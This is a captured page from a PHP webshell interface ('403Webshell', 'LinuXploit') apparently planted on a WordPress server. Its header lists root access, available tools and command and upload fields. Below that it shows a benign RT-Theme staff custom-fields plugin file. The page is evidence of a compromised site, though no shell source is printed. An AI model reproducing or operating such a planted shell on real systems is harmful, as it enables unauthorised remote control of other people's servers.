403Webshell
Server IP : 216.250.13.251  /  Your IP : 216.73.217.37
Web Server : nginx/1.24.0
System : Linux gunay 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gunay/wp-content/plugins/rt19-extentions/inc/metaboxes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gunay/wp-content/plugins/rt19-extentions/inc/metaboxes/staff_custom_fields.php
<?php
#-----------------------------------------
#	RT-Theme staff_custom_fields.php
#-----------------------------------------

#
# 	Staff Custom Fields
#

/**
* @var  array  $customFields  Defines the custom fields available
*/ 
 


$customFields = array(
		array(
			"description"	=> __("Team / Staff member items can be used to show your complete team or individual or selected member(s) and their complete details, including all their contact and social information, on any location within a page in your website. Attach a featured image to show a image of the member with his details. Team / Staff members can be listed and called : <br /><br />1) In the Visual Composer by adding a Team/Staff element or Staff Shortcode into the page content.,<br />2) Directly in a page by the use of the Team/Staff shortcode.",'rt_theme'),	
			"type"			=> "info_text_only",
		),
		array(
			"title" => __("Short Info",'rt_theme'), 
			"type"  => "heading"
		),

		array(
			"title" 		=> __("Position",'rt_theme'), 
			"name"			=> "_position",
			"type" 			=> "text"
		),

		array(
			"title"       => __("Short Info",'rt_theme'),
			"description" => __("Short info : Add a short information about this member. This information will show when the member is listed by the use of the template builder Team/Staff box or Team/Staff shortcode. The short info will not show when the Single Member Page is opened. In the Single Member Page the value entered above, in the default post body content textarea, is presented.",'rt_theme'),
			"name"        => "_short_data",
			"type"        => "textarea",		
			"label_position"  => "block",		
		), 
);


if ( class_exists( 'RTTheme' ) ) {

	global $rt_social_media_icons;

	foreach($rt_social_media_icons as $key => $value){   
		$httpkeyurl='http://'.strtolower($key).__('.com/the-','rt_theme').strtolower($key);
		if ($key=="Google +") $httpkeyurl=str_replace( ' +' , '' , $httpkeyurl);
		$msgdesc=__(" Link field : Enter a valid URL (http or https) to the members ",'rt_theme').$key.__(" page . For example : ",'rt_theme').$httpkeyurl.__("-userpath/ <br /><br /><strong>Note</strong> : Consult the <strong>",'rt_theme').$key. __(" documentation</strong> for more information on the how to link to ",'rt_theme').$key.'.';

		if ($key=="Email") {
			global $current_user; 
			$msgdesc=__(" Link field : Enter a valid URL (http or https) to the members own contact-page [Example : ",'rt_theme'). site_url().__("/contact-",'rt_theme').$current_user->user_login.__("] or emailaddress. [Example : ",'rt_theme').$current_user->user_email.__("] Note : Do not add 'mailto:' as the theme will add that automatically in case a valid emailaddress is used.",'rt_theme');
		}
		
		if ($key=="Skype") $msgdesc=__(" Link field : Enter a valid skype address. Syntax : 'skype:skypeid?call' or 'skype:phonenumber?call'.<br /><br /><strong>Note</strong> : Consult the <strong>Skype documentation</strong> for more options and exact details.",'rt_theme');

		if( $value != "rss" ){
			array_push($customFields, 

				array(
				"title" => $key,  
				"type" 	=> "heading"
				),

				array( "type" => "table_start" ),

				array(
				"title" => $key. __(" link",'rt_theme'), 
				"description" => $key. $msgdesc,
				"name" 	=> "_".$value."",
				"type" 	=> "inline_text",
				),

				array( "type" => "td_col" ),

				array(
				"title" => $key. __(" Text",'rt_theme'), 
				"description" => $key. __(" Text field : Enter a short text/title which will show on hovering the (social) icon.",'rt_theme'),
				"name" 	=> "_".$value."_text",
				"type" 	=> "inline_text",
				),

				array( "type" => "table_end" )

					
			);  
		}
	}
}

$settings  = array( 
	"name"       => __("Staff Options","rt_theme"), 
	"scope"      => "staff",
	"slug"       => "rt_staff_custom_fields",
	"capability" => "edit_post",
	"context"    => "normal",
	"priority"   => "high" 
);

$rt_staff_custom_fields = new rt_meta_boxes($settings,$customFields);

Youez - 2016 - github.com/yon3zu
LinuXploit